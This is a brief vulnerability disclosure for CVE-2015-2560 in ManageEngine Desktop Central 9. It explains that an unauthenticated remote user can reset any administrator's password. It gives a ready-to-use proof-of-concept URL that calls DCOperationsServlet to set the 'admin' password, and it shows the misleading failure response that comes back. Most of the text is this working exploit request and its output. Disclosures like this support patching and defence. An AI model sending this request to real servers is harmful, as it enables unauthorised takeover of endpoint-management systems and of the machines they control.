Manage Engine Desktop Central 9 - CVE-2015-2560 - Unauthorised administrative password reset

[root@xxxxxxxxxxxxx]

A vulnerability exists in the Manage Engine Desktop Central 9 application that 
affects version (build 90130). This may affect earlier releases as well.

The vulnerability allows a remote unauthenticated user to change the password 
of any Manage Engine Desktop Central user with the ?Administrator? role 
(DCAdmin).
The following proof of concept URL changes the ?admin? user password to 
?admin3?. 

http://<IP>:8020/servlets/DCOperationsServlet?operation=addOrModifyUser&roleId=DCAdmin&userName=admin&password=admin3

The XML response suggests the user modification failed, however a user can 
perform a successful login with the supplied credentials:

<operation>
<operationstatus>Failure</operationstatus>
<message>Problem while modifying user admin in DC.</message>
</operation>

Complete control of the application can now be obtained by an unauthorised user.
